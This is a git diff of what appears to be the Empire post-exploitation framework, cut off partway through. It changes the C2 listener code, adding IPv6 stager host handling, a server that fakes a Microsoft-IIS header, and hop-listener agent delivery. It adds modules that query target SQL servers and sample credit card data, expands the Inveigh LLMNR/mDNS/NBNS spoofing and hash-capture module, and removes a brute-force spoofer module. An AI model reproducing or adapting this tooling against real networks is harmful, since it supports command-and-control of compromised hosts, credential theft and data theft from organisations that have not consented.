")
diff --git a/lib/common/encryption.py b/lib/common/encryption.py
index faf3a12..6adfac8 100644
--- a/lib/common/encryption.py
+++ b/lib/common/encryption.py
@@ -68,11 +68,8 @@ def pad(data):
Performs PKCS#7 padding for 128 bit block size.
"""
- if (len(data) % 16) == 0:
- return data
- else:
- pad = 16 - (len(data) % 16)
- return data + to_bufferable(chr(pad) * pad)
+ pad = 16 - (len(data) % 16)
+ return data + to_bufferable(chr(pad) * pad)
# return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
@@ -85,11 +82,7 @@ def depad(data):
raise ValueError("invalid length")
pad = _get_byte(data[-1])
-
- if pad <= 16:
- return data[:-pad]
- else:
- return data
+ return data[:-pad]
# return s[:-(ord(s[-1]))]
diff --git a/lib/common/helpers.py b/lib/common/helpers.py
index edea80e..3e51562 100644
--- a/lib/common/helpers.py
+++ b/lib/common/helpers.py
@@ -64,7 +64,17 @@ def validate_ip(IP):
"""
Uses iptools to validate an IP.
"""
- return iptools.ipv4.validate_ip(IP)
+ try:
+ validate_IPv4 = iptools.ipv4.validate_ip(IP)
+ validate_IPv6 = iptools.ipv6.validate_ip(IP)
+
+ if validate_IPv4 is True:
+ return validate_IPv4
+ elif validate_IPv6 is True:
+ return validate_IPv6
+ except Exception as e:
+ return e
+
def validate_ntlm(data):
diff --git a/lib/common/http.py b/lib/common/http.py
new file mode 100644
index 0000000..e706422
--- /dev/null
+++ b/lib/common/http.py
@@ -0,0 +1,213 @@
+"""
+
+HTTP related methods used by Empire.
+
+Includes URI validation/checksums, as well as the base
+http server (EmpireServer) and its modified request
+handler (RequestHandler).
+
+These are the first places URI requests are processed.
+
+"""
+
+from BaseHTTPServer import BaseHTTPRequestHandler
+import BaseHTTPServer, threading, ssl, os, string, random
+from pydispatch import dispatcher
+import re
+
+# Empire imports
+import encryption
+import helpers
+
+
+#TODO: place this in a config
+def default_page():
+ """
+ Returns the default page for this server.
+ """
+ page = "It works!
"
+ page += "This is the default web page for this server.
"
+ page += "The web server software is running but no content has been added, yet.
"
+ page += ""
+ return page
+
+###############################################################
+#
+# Host2lhost helper.
+#
+###############################################################
+
+def host2lhost(s):
+ """
+ Return lhost for Empire's native listener from Host value
+ """
+ reg = r'(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
+ res = re.findall( reg, s)
+ return res[0] if len(res) == 1 else '0.0.0.0'
+
+###############################################################
+#
+# Checksum helpers.
+#
+###############################################################
+
+def checksum8(s):
+ """
+ Add up all character values and mods the total by 256.
+ """
+ return sum([ord(ch) for ch in s]) % 0x100
+
+
+###############################################################
+#
+# HTTP servers and handlers.
+#
+###############################################################
+
+class RequestHandler(BaseHTTPRequestHandler):
+ """
+ Main HTTP handler we're overwriting in order to modify the HTTPServer behavior.
+ """
+
+ # retrieve the server headers from the common config
+ serverVersion = helpers.get_config('server_version')[0]
+
+ # fake out our server headers base
+ BaseHTTPRequestHandler.server_version = serverVersion
+ BaseHTTPRequestHandler.sys_version = ""
+
+
+ def do_GET(self):
+
+ # get the requested path and the client IP
+ resource = self.path
+ clientIP = self.client_address[0]
+ sessionID = None
+
+ cookie = self.headers.getheader("Cookie")
+ if cookie:
+ # search for a SESSIONID value in the cookie
+ parts = cookie.split(";")
+ for part in parts:
+ if "SESSIONID" in part:
+ # extract the sessionID value
+ name, sessionID = part.split("=", 1)
+
+ # fire off an event for this GET (for logging)
+ dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
+
+ # get the appropriate response from the agent handler
+ (code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource)
+
+ # write the response out
+ self.send_response(code)
+ self.end_headers()
+ self.wfile.write(responsedata)
+ self.wfile.flush()
+ # self.wfile.close() # causes an error with HTTP comms
+
+ def do_POST(self):
+
+ resource = self.path
+ clientIP = self.client_address[0]
+ sessionID = None
+
+ cookie = self.headers.getheader("Cookie")
+ if cookie:
+ # search for a SESSIONID value in the cookie
+ parts = cookie.split(";")
+ for part in parts:
+ if "SESSIONID" in part:
+ # extract the sessionID value
+ name, sessionID = part.split("=", 1)
+
+ # fire off an event for this POST (for logging)
+ dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
+
+ # read in the length of the POST data
+ if self.headers.getheader('content-length'):
+ length = int(self.headers.getheader('content-length'))
+ postData = self.rfile.read(length)
+
+ # get the appropriate response for this agent
+ (code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData)
+
+ # write the response out
+ self.send_response(code)
+ self.end_headers()
+ self.wfile.write(responsedata)
+ self.wfile.flush()
+ # self.wfile.close() # causes an error with HTTP comms
+
+ # supress all the stupid default stdout/stderr output
+ def log_message(*arg):
+ pass
+
+
+class EmpireServer(threading.Thread):
+ """
+ Version of a simple HTTP[S] Server with specifiable port and
+ SSL cert. Defaults to HTTP is no cert is specified.
+
+ Uses agents.RequestHandler handle inbound requests.
+ """
+
+ def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''):
+
+ # set to False if the listener doesn't successfully start
+ self.success = True
+
+ try:
+ threading.Thread.__init__(self)
+ self.server = None
+
+ self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
+
+ # pass the agent handler object along for the RequestHandler
+ self.server.agents = handler
+
+ self.port = port
+ self.serverType = "HTTP"
+
+ # wrap it all up in SSL if a cert is specified
+ if cert and cert != "":
+ self.serverType = "HTTPS"
+ cert = os.path.abspath(cert)
+
+ self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True)
+
+ dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer")
+ else:
+ dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer")
+
+ except Exception as e:
+ self.success = False
+ # shoot off an error if the listener doesn't stand up
+ dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer")
+
+
+ def base_server(self):
+ return self.server
+
+
+ def run(self):
+ try: self.server.serve_forever()
+ except: pass
+
+
+ def shutdown(self):
+
+ # shut down the server/socket
+ self.server.shutdown()
+ self.server.socket.close()
+ self.server.server_close()
+ self._Thread__stop()
+
+ # make sure all the threads are killed
+ for thread in threading.enumerate():
+ if thread.isAlive():
+ try:
+ thread._Thread__stop()
+ except:
+ pass
+
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 9e3be08..72ec441 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -97,7 +97,7 @@ class Listener:
'Value' : ''
},
'ServerVersion' : {
- 'Description' : 'TServer header for the control server.',
+ 'Description' : 'Server header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
}
@@ -205,6 +205,16 @@ class Listener:
pass
# TODO: reimplement stager retries?
+ #check if we're using IPv6
+ listenerOptions = copy.deepcopy(listenerOptions)
+ bindIP = listenerOptions['BindIP']['Value']
+ port = listenerOptions['Port']['Value']
+ if ':' in bindIP:
+ if "http" in host:
+ if "https" in host:
+ host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
+ else:
+ host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
@@ -692,6 +702,15 @@ def send_message(packets=None):
return response
+ @app.after_request
+ def add_proxy_headers(response):
+ "Add HTTP headers to avoid proxy caching."
+ response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
+ response.headers['Pragma'] = "no-cache"
+ response.headers['Expires'] = "0"
+ return response
+
+
@app.route('/', methods=['GET'])
def handle_get(request_uri):
"""
@@ -780,12 +799,22 @@ def send_message(packets=None):
if results:
if results.startswith('STAGE2'):
# TODO: document the exact results structure returned
+ if ':' in clientIP:
+ clientIP = '[' + str(clientIP) + ']'
sessionID = results.split(' ')[1].strip()
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
+ hopListenerName = request.headers.get('Hop-Name')
+ try:
+ hopListener = helpers.get_listener_options(hopListenerName)
+ tempListenerOptions = copy.deepcopy(listenerOptions)
+ tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
+ except TypeError:
+ tempListenerOptions = listenerOptions
+
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
- agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
+ agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
# TODO: wrap ^ in a routing packet?
diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py
index d0452fc..96683ab 100644
--- a/lib/listeners/http_com.py
+++ b/lib/listeners/http_com.py
@@ -98,7 +98,7 @@ class Listener:
'Value' : ''
},
'ServerVersion' : {
- 'Description' : 'TServer header for the control server.',
+ 'Description' : 'Server header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
}
@@ -175,6 +175,17 @@ class Listener:
# TODO: reimplement stager retries?
+ #check if we're using IPv6
+ listenerOptions = copy.deepcopy(listenerOptions)
+ bindIP = listenerOptions['BindIP']['Value']
+ port = listenerOptions['Port']['Value']
+ if ':' in bindIP:
+ if "http" in host:
+ if "https" in host:
+ host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
+ else:
+ host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
+
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
@@ -463,6 +474,15 @@ class Listener:
return response
+ @app.after_request
+ def add_proxy_headers(response):
+ "Add HTTP headers to avoid proxy caching."
+ response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
+ response.headers['Pragma'] = "no-cache"
+ response.headers['Expires'] = "0"
+ return response
+
+
@app.route('/', methods=['GET'])
def handle_get(request_uri):
"""
diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py
index e0348c4..36f37f7 100644
--- a/lib/listeners/http_hop.py
+++ b/lib/listeners/http_hop.py
@@ -445,6 +445,7 @@ def send_message(packets=None):
f.close()
hopCode = hopCode.replace('REPLACE_SERVER', redirectHost)
+ hopCode = hopCode.replace('REPLACE_HOP_NAME', self.options['Name']['Value'])
saveFolder = self.options['OutFolder']['Value']
for uri in uris:
@@ -473,4 +474,4 @@ def send_message(packets=None):
"""
Nothing to actually shut down for a hop listner.
"""
- pass
\ No newline at end of file
+ pass
diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py
new file mode 100644
index 0000000..cb73c07
--- /dev/null
+++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py
@@ -0,0 +1,111 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Get-SQLColumnSampleData',
+ 'Author': ['@_nullbind', '@0xbadjuju'],
+ 'Description': ('Returns column information from target SQL Servers. Supports '
+ 'search by keywords, sampling data, and validating credit card '
+ 'numbers.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Username' : {
+ 'Description' : 'SQL Server or domain account to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'SQL Server or domain account password to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Instance' : {
+ 'Description' : 'SQL Server instance to connection to.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'NoDefaults' : {
+ 'Description' : 'Don\'t select tables from default databases.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'CheckAll' : {
+ 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
+ 'Required' : False,
+ 'Value' : ''
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+
+ username = self.options['Username']['Value']
+ password = self.options['Password']['Value']
+ instance = self.options['Instance']['Value']
+ no_defaults = self.options['NoDefaults']['Value']
+ check_all = self.options['CheckAll']['Value']
+
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
+ script = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ script = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ if check_all:
+ auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
+ try:
+ with open(auxModuleSource, 'r') as auxSource:
+ auxScript = auxSource.read()
+ script += " " + auxScript
+ except:
+ print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
+ script += " Get-SQLInstanceDomain "
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ script += " | "
+ script += " Get-SQLColumnSampleData"
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ if instance != "" and not check_all:
+ script += " -Instance "+instance
+ if no_defaults:
+ script += " -NoDefaults "
+ return script
diff --git a/lib/modules/powershell/collection/get_sql_query.py b/lib/modules/powershell/collection/get_sql_query.py
new file mode 100644
index 0000000..551cc2a
--- /dev/null
+++ b/lib/modules/powershell/collection/get_sql_query.py
@@ -0,0 +1,89 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Get-SQLQuery',
+ 'Author': ['@_nullbind', '@0xbadjuju'],
+ 'Description': ('Executes a query on target SQL servers.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Username' : {
+ 'Description' : 'SQL Server or domain account to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'SQL Server or domain account password to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Instance' : {
+ 'Description' : 'SQL Server instance to connection to.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Query' : {
+ 'Description' : 'Query to be executed on the SQL Server.',
+ 'Required' : True,
+ 'Value' : ''
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+
+ username = self.options['Username']['Value']
+ password = self.options['Password']['Value']
+ instance = self.options['Instance']['Value']
+ query = self.options['Query']['Value']
+
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1"
+ script = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ script = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ script += " Get-SQLQuery"
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ if instance != "":
+ script += " -Instance "+instance
+ script += " -Query "+"\'"+query+"\'"
+
+ return script
diff --git a/lib/modules/powershell/collection/inveigh.py b/lib/modules/powershell/collection/inveigh.py
index b0f3a0a..828d8ef 100644
--- a/lib/modules/powershell/collection/inveigh.py
+++ b/lib/modules/powershell/collection/inveigh.py
@@ -9,16 +9,18 @@ class Module:
'Author': ['Kevin Robertson'],
- 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'),
+ 'Description': ('Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note '
+ 'that this module exposes only a subset of Inveigh\'s parameters. Inveigh can be used '
+ 'through Empire\'s scriptimport and scriptcmd if additional parameters are needed.'),
'Background' : True,
'OutputExtension' : None,
- 'NeedsAdmin' : True,
+ 'NeedsAdmin' : False,
'OpsecSafe' : True,
-
+
'Language' : 'powershell',
'MinLanguageVersion' : '2',
@@ -37,141 +39,152 @@ class Module:
'Required' : True,
'Value' : ''
},
- 'IP' : {
- 'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.',
+ 'ConsoleOutput' : {
+ 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
'Required' : False,
'Value' : ''
},
- 'SpooferIP' : {
- 'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferHostsReply' : {
- 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferHostsIgnore' : {
- 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferIPsReply' : {
- 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferIPsIgnore' : {
- 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferRepeat' : {
- 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'LLMNR' : {
- 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'LLMNRTTL' : {
- 'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
- 'Required' : False,
- 'Value' : ''
- },
- 'NBNS' : {
- 'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'NBNSTTL' : {
- 'Description' : 'Custom NBNS TTL in seconds for the response packet.',
- 'Required' : False,
- 'Value' : ''
- },
- 'NBNSTypes' : {
- 'Description' : 'Comma separated list of NBNS types to spoof.',
- 'Required' : False,
- 'Value' : '00,20'
- },
- 'HTTP' : {
- 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'HTTPAuth' : {
- 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
- 'Required' : False,
- 'Value' : 'NTLM'
- },
- 'HTTPBasicRealm' : {
- 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
- 'Required' : False,
- 'Value' : 'IIS'
- },
- 'HTTPResponse' : {
- 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADAuth' : {
- 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
- 'Required' : False,
- 'Value' : 'NTLM'
- },
- 'WPADEmptyFile' : {
- 'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'WPADIP' : {
- 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADPort' : {
- 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADDirectHosts' : {
- 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SMB' : {
- 'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'Challenge' : {
- 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
- 'Required' : False,
- 'Value' : ''
- },
- 'MachineAccounts' : {
- 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
- 'Required' : False,
- 'Value' : 'N'
- },
'ConsoleStatus' : {
- 'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)',
+ 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
'Required' : False,
'Value' : ''
},
'ConsoleUnique' : {
- 'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
+ 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
'Required' : False,
- 'Value' : 'Y'
+ 'Value' : ''
},
- 'RunTime' : {
+ 'ElevatedPrivilege' : {
+ 'Description' : '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'HTTP' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'HTTPAuth' : {
+ 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat requests.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'HTTPContentType' : {
+ 'Description' : 'Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'HTTPResponse' : {
+ 'Description' : 'Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests. Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this module.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Inspect' : {
+ 'Description' : '(Switch) Inspect LLMNR, mDNS, and NBNS traffic only.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'IP' : {
+ 'Description' : 'Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'LLMNR' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable LLMNR spoofer.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'mDNS' : {
+ 'Description' : '(Y/N) Enable/Disable mDNS spoofer.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'mDNSTypes' : {
+ 'Description' : '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'NBNS' : {
+ 'Description' : '(Y/N) Enable/Disable NBNS spoofer.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'NBNSTypes' : {
+ 'Description' : 'Default = 00,20: Comma separated list of NBNS types to spoof.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Proxy' : {
+ 'Description' : '(Y/N) Enable/Disable Inveigh\'s proxy server authentication capture.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ProxyPort' : {
+ 'Description' : 'Default = 8492: TCP port for the Inveigh\'s proxy listener.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'RunCount' : {
+ 'Description' : 'Number of NTLMv1/NTLMv2 captures to perform before auto-exiting.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'RunTime' : {
'Description' : 'Run time duration in minutes.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'SMB' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable SMB challenge/response capture.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferIP' : {
+ 'Description' : 'Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferHostsIgnore' : {
+ 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferHostsReply' : {
+ 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferIPsIgnore' : {
+ 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferIPsReply' : {
+ 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferLearning' : {
+ 'Description' : '(Y/N) Enable/Disable LLMNR/NBNS valid host learning.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferLearningDelay' : {
+ 'Description' : 'Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SpooferRepeat' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'WPADAuth' : {
+ 'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.',
'Required' : False,
'Value' : ''
}
+
}
# save off a copy of the mainMenu object to access external functionality
@@ -204,7 +217,7 @@ class Module:
script = moduleCode
# set defaults for Empire
- scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2" '
+ scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2"'
for option,values in self.options.iteritems():
if option.lower() != "agent":
diff --git a/lib/modules/powershell/collection/inveigh_bruteforce.py b/lib/modules/powershell/collection/inveigh_bruteforce.py
deleted file mode 100644
index 6a2b94b..0000000
--- a/lib/modules/powershell/collection/inveigh_bruteforce.py
+++ /dev/null
@@ -1,181 +0,0 @@
-from lib.common import helpers
-
-class Module:
-
- def __init__(self, mainMenu, params=[]):
-
- self.info = {
- 'Name': 'Invoke-InveighBruteForce',
-
- 'Author': ['Kevin Robertson'],
-
- 'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. '
- 'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS '
- 'spoofing without an elevated administrator or SYSTEM shell.'),
-
- 'Background' : True,
-
- 'OutputExtension' : None,
-
- 'NeedsAdmin' : False,
-
- 'OpsecSafe' : True,
-
- 'Language' : 'powershell',
-
- 'MinLanguageVersion' : '2',
-
- 'Comments': [
- 'https://github.com/Kevin-Robertson/Inveigh'
- ]
- }
-
- # any options needed by the module, settable during runtime
- self.options = {
- # format:
- # value_name : {description, required, default_value}
- 'Agent' : {
- 'Description' : 'Agent to run module on.',
- 'Required' : True,
- 'Value' : ''
- },
- 'SpooferIP' : {
- 'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.',
- 'Required' : False,
- 'Value' : ''
- },
- 'SpooferTarget' : {
- 'Description' : 'IP address to target for brute force NBNS spoofing.',
- 'Required' : True,
- 'Value' : ''
- },
- 'Hostname' : {
- 'Description' : 'Hostname to spoof with NBNS spoofing.',
- 'Required' : False,
- 'Value' : 'WPAD'
- },
- 'NBNS' : {
- 'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'NBNSPause' : {
- 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
- 'Required' : False,
- 'Value' : ''
- },
- 'NBNSTTL' : {
- 'Description' : 'Custom NBNS TTL in seconds for the response packet.',
- 'Required' : False,
- 'Value' : ''
- },
- 'HTTP' : {
- 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
- },
- 'HTTPAuth' : {
- 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
- 'Required' : False,
- 'Value' : 'NTLM'
- },
- 'HTTPBasicRealm' : {
- 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
- 'Required' : False,
- 'Value' : 'IIS'
- },
- 'HTTPResponse' : {
